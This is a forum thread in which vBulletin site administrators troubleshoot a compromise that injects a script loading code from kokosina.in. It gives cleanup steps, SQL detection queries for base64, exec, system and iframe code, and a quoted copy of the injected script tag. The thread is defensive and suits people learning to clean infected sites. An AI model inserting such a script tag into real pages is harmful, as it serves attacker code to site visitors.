Kokosina.in - Anyone Else Getting This?

[Colchesterhunter]

Wayne it was fresh copy off the Vb site and it still shows an error ???

[Maurd]

Wayne it was fresh copy off the Vb site and it still shows an error ???

Try uploading it from the original package. Subsequent packages may generate unique file sums (what the diagnostics validate against) which is causing it to falsely complain.

Though that's just a guess.

[Steve038]

Has anyone yet found a definitive answer to remove kokosina form their site, and keep it away?

I just seem to be making things worse for myself. I went into phpmyadmin to try and back up my files. I don't know what the heck I did when I was in there, but now all I'm getting when I go to view my website is a Database Error message: www.theroaringseason.com

This is really driving me crazy! My site has been closed for a week because some loser hacked it, now every time I try to do something to try and fix the issue, I make things worse!

[whitey10tc]

Has anyone yet found a definitive answer to remove kokosina form their site, and keep it away?

I just seem to be making things worse for myself. I went into phpmyadmin to try and back up my files. I don't know what the heck I did when I was in there, but now all I'm getting when I go to view my website is a Database Error message: www.theroaringseason.com

This is really driving me crazy! My site has been closed for a week because some loser hacked it, now every time I try to do something to try and fix the issue, I make things worse!

Did you follow what Wayne posted in post 11 of this thread? What were the results? Did you make a back up before today, (does your host do nightlies) if so restore from there. Then do as Wayne suggests and also follow the suggestions in googles webmaster tools...

[Wayne Luke]

Has anyone yet found a definitive answer to remove kokosina form their site, and keep it away?

I just seem to be making things worse for myself. I went into phpmyadmin to try and back up my files. I don't know what the heck I did when I was in there, but now all I'm getting when I go to view my website is a Database Error message: www.theroaringseason.com

This is really driving me crazy! My site has been closed for a week because some loser hacked it, now every time I try to do something to try and fix the issue, I make things worse!

Your MySQL Server is offline for some reason. You're host needs to restart it.

Open a support ticket for further help in cleaning up your site. https://www.vbulletin.com/go/techsupport/

[aunesty]

Doing this now.. did it work for anyone???

1) Run Suspect File Diagnostics under Maintenance -> Diagnostics. Replace any files not containing the expected contents. Delete any files that are not part of vBulletin and that you can't identify as belonging to your addons.

2) Search all templates for iframe tags. They should only appear in the following templates: bbcode_video, editor-ie.css, member.css, stylegenerator.css, vbcms.css, vbulletin.css, help_bbcodes, humanverify_recaptcha, search_common, and search_common_select_type

3) Check all your plugins for rogue include, require, include_once, or require_once code. All files should come from your server and be known to you.

4) Check your plugins for any base64 code. I recommend using against using any plugins or products that include base64 code in them. However some "lite" or branded addons will include this as a means to prevent you from cheating the author. You'll have to make a personal call on these if you use them. This is often a sign of a hacked site.

5) Make sure that your plugins do not include calls to exec(), system(), or pass_thru() or iframes. These are also often signs of a hacked site.

Query for step 4 and 5 -
SELECT title, phpcode, hookname, product FROM plugin WHERE phpcode LIKE '%base64%' OR phpcode LIKE '%exec%' OR phpcode LIKE '%system%' OR phpcode like '%pass_thru%' OR phpcode like '%iframe%';

6) Run this query:
SELECT styleid, title, template FROM template WHERE template LIKE '%base64%' OR template LIKE '%exec%' OR template LIKE '%system%' OR template like '%pass_thru%' OR template like '%iframe%';

Did this work for anyone?

My site is being going through this and the members are getting antsy.... www.wescrap.com

[Riasat]

Do we have a definite cause/fix for this yet?

Edit: Can someone try this?

The injection is inside the vBulletin DATASTORE; to fix:

1) Go to plugin manager
2) Pick ANY plugin and click edit
3) Do not make any changes
4) Click Save / Datastore will be reset and the malicious code auto-removed.

[abqtj]

well I submitted a ticket as was suggested a couple of times here...and the reply I get is to check out this thread

[Steve038]

Your MySQL Server is offline for some reason. You're host needs to restart it.

Open a support ticket for further help in cleaning up your site. https://www.vbulletin.com/go/techsupport/

Thanks Wayne, I have opened a support ticket, as suggested.

I have spoken to my web host and they've fixed the MySQL issue, but when the site went back up, they noticed it has a trojan virus, which I assume is the Kokosina.in attack. Has anyone yet found a definitive way to remove this? I will be doing the suggestions made by Wayne earlier in this thread, but can anyone who has tried this managed to remove it?

Doing a Google search on kokosina.in it seems there are several vbulletin sites all around the world that have now been hit by this.

[Wayne Luke]

Thanks Wayne, I have opened a support ticket, as suggested.

I have spoken to my web host and they've fixed the MySQL issue, but when the site went back up, they noticed it has a trojan virus, which I assume is the Kokosina.in attack. Has anyone yet found a definitive way to remove this? I will be doing the suggestions made by Wayne earlier in this thread, but can anyone who has tried this managed to remove it?

Doing a Google search on kokosina.in it seems there are several vbulletin sites all around the world that have now been hit by this.

For that particular issue, you need to replace the connection-min.js file. This is the definitive way to fix it. The file should show up as "Does Not Contain Expected Contents" if you run the Suspect File Diagnostics.

[Habsy]

Can anyone verify that upgrading to 4.1.9 fixes this kokosina issue. I tried doing what Wayne said in post 11 but it is still there. Either I did it wrong or it isn't working.

[Wayne Luke]

Can anyone verify that upgrading to 4.1.9 fixes this kokosina issue. I tried doing what Wayne said in post 11 but it is still there. Either I did it wrong or it isn't working.

As far as I can tell it isn't a vBulletin issue. vBulletin doesn't have permission to write to that file or the capabilities to do so. It appears to be a compromise over FTP which replaces a third-party file we just happen to use in vBulletin. Replace the file that is infected or set your system to load the YUI files remotely off of either Google's or Yahoo's servers (under Settings -> Options -> Server Settings and Optimization Options).

Upgrading to 4.1.9 would fix the issue only if you upload all files in the package and overwrite the infected file on your server. It will not prevent a script on the server or someone using FTP from reapplying the vulnerability.

[Habsy]

Has anyone identified the infected file or does it vary? What is the best way to identify?

[Habsy]

FYI

or set your system to load the YUI files remotely off of either Google's or Yahoo's servers (under Settings -> Options -> Server Settings and Optimization Options).

Did not fix the problem.

<scripttype="text/javascript" src="http://kokosina.in/1"></script>

Still appears in the source code.

[Wayne Luke]

FYI



Did not fix the problem.

<scripttype="text/javascript" src="http://kokosina.in/1"></script>

Still appears in the source code.

Delete the cache on your browser. Does it still appear? if it does then you'll need to follow every step I previously posted in this thread to find out where it is being included from.